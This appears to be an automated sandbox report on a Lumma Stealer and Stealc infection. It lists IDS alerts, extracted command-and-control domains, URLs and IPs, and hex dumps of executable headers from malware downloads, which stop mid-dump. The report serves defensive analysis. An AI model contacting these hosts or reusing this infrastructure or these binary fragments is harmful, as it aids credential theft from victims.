Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:56822 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:51774 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50111 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49712 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49712 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49713 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49714 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49710 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49740 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49755 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49901 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50068 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50068 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50058 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50067 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50067 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49993 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50072 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50080 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50083 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:20 GMTContent-Type: application/octet-streamContent-Length: 1925632Last-Modified: Wed, 23 Oct 2024 15:37:20 GMTConnection: keep-aliveETag: "67191830-1d6200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4c 00 00 04 00 00 5c be 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 37 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 36 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6f 69 6f 79 7a 67 74 00 50 1a 00 00 f0 31 00 00 48 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 61 63 6a 64 71 69 75 00 10 00 00 00 40 4c 00 00 04 00 00 00 3c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4c 00 00 22 00 00 00 40 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:26 GMTContent-Type: application/octet-streamContent-Length: 1833984Last-Modified: Wed, 23 Oct 2024 15:37:13 GMTConnection: keep-aliveETag: "67191829-1bfc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 d1 e0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 61 64 67 76 74 6a 71 00 a0 19 00 00 a0 4f 00 00 9a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 76 71 6a 6f 71 6d 00 10 00 00 00 40 69 00 00 04 00 00 00 d6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 69 00 00 22 00 00 00 da 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:28 GMTContent-Type: application/octet-streamContent-Length: 2817536Last-Modified: Wed, 23 Oct 2024 15:44:06 GMTConnection: keep-aliveETag: "671919c6-2afe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 de 72 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 73 64 6a 77 61 6c 69 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 72 6e 6d 63 78 63 00 20 00 00 00 40 2b 00 00 04 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 dc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:39 GMTContent-Type: application/octet-streamContent-Length: 2891264Last-Modified: Wed, 23 Oct 2024 15:37:07 GMTConnection: keep-aliveETag: "67191823-2c1e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 a0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 2f 00 00 04 00 00 dc 94 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 75 6f 78 6e 62 72 6e 00 90 29 00 00 00 06 00 00 86 29 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6b 6b 71 68 65 74 77 00 10 00 00 00 90 2f 00 00 06 00 00 00 f6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 2f 00 00 22 00 00 00 fc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:45 GMTContent-Type: application/octet-streamContent-Length: 1833984Last-Modified: Wed, 23 Oct 2024 15:37:13 GMTConnection: keep-aliveETag: "67191829-1bfc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 d1 e0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 61 64 67 76 74 6a 71 00 a0 19 00 00 a0 4f 00 00 9a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 76 71 6a 6f 71 6d 00 10 00 00 00 40 69 00 00 04 00 00 00 d6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 69 00 00 22 00 00 00 da 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:51 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 23 Oct 2024 15:43:38 GMTConnection: keep-aliveETag: "671919aa-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a2 19 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 7e 75 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
